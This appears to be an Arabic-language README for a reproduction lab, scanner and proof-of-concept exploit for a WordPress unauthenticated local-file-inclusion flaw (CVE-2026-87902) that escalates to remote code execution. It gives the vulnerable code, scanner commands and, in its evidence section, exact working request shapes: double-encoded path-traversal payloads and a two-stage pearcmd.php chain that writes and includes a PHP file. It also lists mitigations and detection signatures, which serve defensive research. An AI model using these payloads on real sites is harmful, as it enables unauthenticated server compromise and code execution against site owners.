مختبر إعادة إنتاج + ماسح قائمة عناوين URL + إثبات مفهوم لـ CVE-2026-87902 / GHSA-7hp8-65ch-5whp — ثغرة LFI غير مصادق عليها في WordPress get_page_template() تفضي إلى RCE شرطي (WP 4.7.0-7.1.1، تم إصلاحها في 7.1.2). اختبار مصرّح به/دفاعي.
get_page_template() في ووردبريس ← تنفيذ تعليمات برمجية عن بُعد (RCE) مشروطمختبر إعادة إنتاج + ماسح ضوئي لقائمة عناوين URL + إثبات مفهوم (PoC)، مبني ومُتحقَّق منه من البداية إلى النهاية مقابل إصدارات حقيقية من ووردبريس 7.1.1 (قابل للاستغلال) و7.1.2 (مُرقَّع) على مختبر Docker.
include/require (اجتياز المسار ← تضمين PHP محلي)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* (مثل page-templates/ — موجود في Twenty Twelve وTwenty Fourteen وNeve وHestia وSydney)؛ (2) لتنفيذ التعليمات البرمجية عن بُعد فقط: وجود pearcmd.php قابل للقراءة وregister_argc_argv=On.wp-includes/template.php :: get_page_template() يبني مرشح قالب من متغير الاستعلام pagename
الذي يتحكم فيه المهاجم دون validate_file():
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
ثم يقوم locate_template() بتنفيذ file_exists($theme_dir . '/' . $candidate) وinclude للنتيجة المطابقة.
ولأن المرشح هو page-{...}.php، يجب أن يُكمل الحمولة دليل قالب حقيقي يبدأ بـ page-
(مثل page-templates/) ثم يصعد للخارج باستخدام ../ إلى أي ملف .php قابل للقراءة.
الترميز المزدوج إلزامي. فـ get_query_var('pagename') يكون قد فُكَّ ترميزه مرة واحدة بالفعل بواسطة PHP، لذا فإن ../ العادي يجعل urldecode($pagename) === $pagename ويُتخطى الفرع القابل للاستغلال. أما %252e%252e%252f المُرمَّز مزدوجاً فينجو من فك الترميز الأول كـ %2e%2e%2f ولا يتحول إلى ../ إلا بواسطة urldecode() الإضافي — وهذا هو الخلل.
lab/)إصدارات حقيقية جنباً إلى جنب على مضيف Docker، لا تختلف إلا بالإصلاح الأمني:
| الخدمة | عنوان URL (loopback فقط) | ووردبريس | الدور |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | قابل للاستغلال |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | ضابط مُرقَّع |
db | — | MySQL 8.4 | مشترك (قاعدتا بيانات) |
صورة الأساس wordpress:php8.3-apache (التي تتضمن بالفعل pearcmd.php وregister_argc_argv=On)،
مع استبدال النواة المضمّنة بـ wordpress-7.1.1.zip / 7.1.2.zip الأصلية. Twenty Fourteen
مُفعَّل (يحتوي على page-templates/ حقيقي)، كما أُنشئ ملف page-templates/ تجريبي في القالب النشط.
معرّف الصفحة المنشورة = 2 (Sample Page).
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
المنافذ مرتبطة بـ 127.0.0.1 فقط — النسخة القابلة للاستغلال لا تُعرَّض للشبكة أبداً.
poc/cve-2026-87902-scan.py)Python 3، المكتبة القياسية فقط (بدون pip install). يأخذ قائمة عناوين URL ويبلّغ عن أيها
قابل للاستغلال. الفحص الافتراضي غير مُدمِّر: يضمّن ملف النواة للقراءة فقط
wp-links-opml.php ويبحث عن مستند OPML الناتج — دليل على أن تضمين .php العشوائي
قد حدث، دون أي كتابة أو تغيير في الحالة.
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php →
readme.html → أصل /wp-includes/ بـ ?ver=)./wp/v2/pages، بديل ?rest_route=، الصفحة الرئيسية
page-id-N، الافتراضي page_id=2) — مطلوب حتى يُحل الطلب إلى صفحة ويُشغَّل get_page_template().segment × depth (المقطع الافتراضي templates، الأعماق 4,3,5,6,7)، أرسل
page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST، لتجنب إعادة التوجيه الأساسي) واشترط
HTTP 200 يحمل <opml version="1.0"> + علامة ثانوية بنيوية (</opml> / <outline / <dateCreated>)..php
غير موجود بشكل مضمون. إذا ظهر OPML مجدداً، فإن OPML محيطي (وكيل / ذاكرة تخزين مؤقت / تطبيق خلاصات)،
وليس تضميننا → يُخفَّض إلى POSSIBLY. فقط الإصابة التي يكون ضابطها نظيفاً تُصنَّف VULNERABLE.المتانة: يحافظ على مسارات الأدلة الفرعية (http://host/blog)، ويتعامل مع gzip/deflate والترميزات الغريبة،
ويعيد محاولة الفحص مرة واحدة عند خطأ النقل، ويكتشف/يتحقق من معرّفات الصفحات (REST → ?rest_route= → الصفحة الرئيسية
→ الافتراضيات)، ويفرض ميزانية زمنية لكل هدف، ولا يؤكد أبداً NOT_VULNERABLE من مصدر إصدار منخفض الثقة
(أصل ?ver= / readme.html) — تلك تتدهور إلى POSSIBLY.
| الحكم | المعنى |
|---|---|
VULNERABLE | أوراكل OPML انطلق — تأكد LFI (نهائي) |
NOT_VULNERABLE | إصدار الفرع المُرقَّع، أو إصدار خارج 4.7.0–7.1.1 |
POSSIBLY_VULNERABLE | إصدار قابل للاستغلال/غير معروف لكن الأوراكل صامت (غالباً لا يوجد دليل قالب page-*، أو تخطيط غير قياسي، أو لا يوجد معرّف صفحة قابل للاكتشاف) — تحقق يدوياً |
NOT_WORDPRESS / ERROR | لا مؤشرات WP / فشل النقل |
رمز الخروج: 2 إذا وُجد أي VULNERABLE، و1 إذا وُجد أي POSSIBLY (ولا VULNERABLE)، وإلا 0.
أعلام مفيدة: --segments، --depths، --method {POST,GET,both}، --page-id، --max-pageids،
--max-time (ميزانية لكل هدف)، --timeout، --threads، --proxy، --header، --insecure
(إيقاف TLS — للتطوير فقط)، --json، --jsonl. لتركيب ووردبريس في دليل فرعي، مرّر الأساس الكامل
(مثل https://host/blog)؛ لـ Bedrock/النواة في wp/، يحاول المسح أيضاً أهداف أوراكل مسبوقة بـ wp/.
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
يشغّل سلسلة PEAR pearcmd.php: سلسلة الاستعلام المقسمة بـ + تحمل argv الخاص بـ config-create الذي يكتب
علامة .php خالية من علامات الاقتباس تحت /tmp؛ وطلب ثانٍ يضمّنها. يطبع العلامة المنفذة +
php_uname() + uid. يكتب ملفاً على الهدف → هدف واحد، يتطلب --i-have-authorization،
معطّل افتراضياً.
evidence/)| الملف | ما يثبته |
|---|---|
manual-validate.sh / ev-lfi.log | أوراكل OPML ينطلق على 7.1.1 (العمق 4، POST و GET)، صامت على 7.1.2؛ فقط العمق 4 يعمل؛ الترميز الأحادي يفشل |
rce-validate.sh / ev-rce.log | RCE كامل عبر PEAR على 7.1.1 (uid=33 كـ www-data، العمق 7)؛ المُرقَّع لا يكتب ملفاً ولا ينفذ شيئاً |
ev-scan-table.log / ev-scan-results.json | الماسح على {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
أشكال الطلبات المُثبتة:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off في PHP لواجهة الويب وأزل/امنع pearcmd.php؛
هذا يزيل تصعيد RCE حتى لو كان LFI قابلاً للوصول.pagename يحتوي على ..؛ فالتزامن بين page_id وpagename يبدأ بـ templates%252f /
يحتوي على %252e%252e على جذر الموقع أو /index.php هو إشارة استغلال شبه مؤكدة.لاختبارات الأمان المصرح بها، والتعليم، والبحث الدفاعي فقط.